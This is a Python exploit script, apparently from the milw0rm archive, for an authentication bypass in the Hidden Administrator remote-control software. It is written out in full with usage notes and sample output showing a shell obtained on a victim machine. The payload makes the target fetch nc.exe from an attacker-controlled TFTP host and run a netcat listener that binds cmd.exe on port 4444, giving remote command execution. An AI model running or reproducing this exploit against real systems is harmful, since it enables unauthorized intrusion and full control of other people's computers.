####################################################################################
# Hidden Administrator Authenticaiton Bypass Exploit #
# ahmed[at]rewterz.com #
# https://www.securityfocus.com/bid/24049 #
# #
# C:\>python rewt-ha-exp.py #
# Usage: rewt-ha-exp.py -h <host ip> -p <port> -t <tftpd server ip> #
# make sure nc.exe exists on tftpd server #
# #
# C:\>telnet 192.168.1.4 4444 #
# C:\>python rewt-ha-exp.py -h 192.168.1.4 -p 3128 -t 192.168.1.105 #
# [+] Connecting to 192.168.1.4 #
# [+] Uploading Files #
# [+] DONE [+] #
# [+] Now Connect to port 4444 on victim IP !!! #
# #
# C:\>telnet 192.168.1.4 4444 #
# Microsoft Windows XP [Version 5.1.2600] #
# (C) Copyright 1985-2001 Microsoft Corp. #
# C:\ha_server> #
####################################################################################
import socket
import struct
import time
import sys
import getopt
def usage():
print "\n"
print "######################################################"
print "# Hidden Administrator Authentication Bypass Exploit #"
print "# Coded By ahmed[at]rewterz.com #"
print "######################################################"
print "\n"
print "Usage: %s -h <host ip> -p <port> -t <tftpd server ip>" % sys.argv[0]
print "make sure nc.exe exists on tftpd server\n"
def exploit():
h ="%X" % (130+len(tftpd))
buff1='_file_manager_operations_copy_files_Loc_Rem_c:\\^file\r\n\x0brewt_ha.bat'
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
buff1+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
buff1 += ('\\x' + h).decode('string_escape')
buff1 += '\x00\x00\x00\x00\x00\x00\x00'
buff1+='\x00tftp -i ' + tftpd + ' GET nc.exe c:\\nc.exe '
buff1+='\r\nc:\\nc.exe -L -d -p 4444 -e cmd.exe \r\n\r\n '
buff1+=' \r\n\r\n_file_manager_operations_get_cur_dir_c:\r\n'
try:
print "[+] Connecting to %s" %host
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,int(port)))
print "[+] Uploading Files"
s.send(buff1)
time.sleep(2)
s.send('+run_C:\\rewt_ha.bat|\r\n')
time.sleep(1)
print "[+] DONE [+]"
print "[+] Now Connect to port 4444 on victim IP !!!"
except:
print "[+] Could not connect to the server"
if len(sys.argv)<7:
usage()
sys.exit()
try:
options = getopt.getopt(sys.argv[1:], 'h:p:t:')[0]
except getopt.GetoptError, err:
print err
usage()
sys.exit()
for option, value in options:
if option == '-h':
host = value
if option == '-p':
port = int(value)
if option == '-t':
tftpd=value
exploit()
# milw0rm.com [2007-05-19]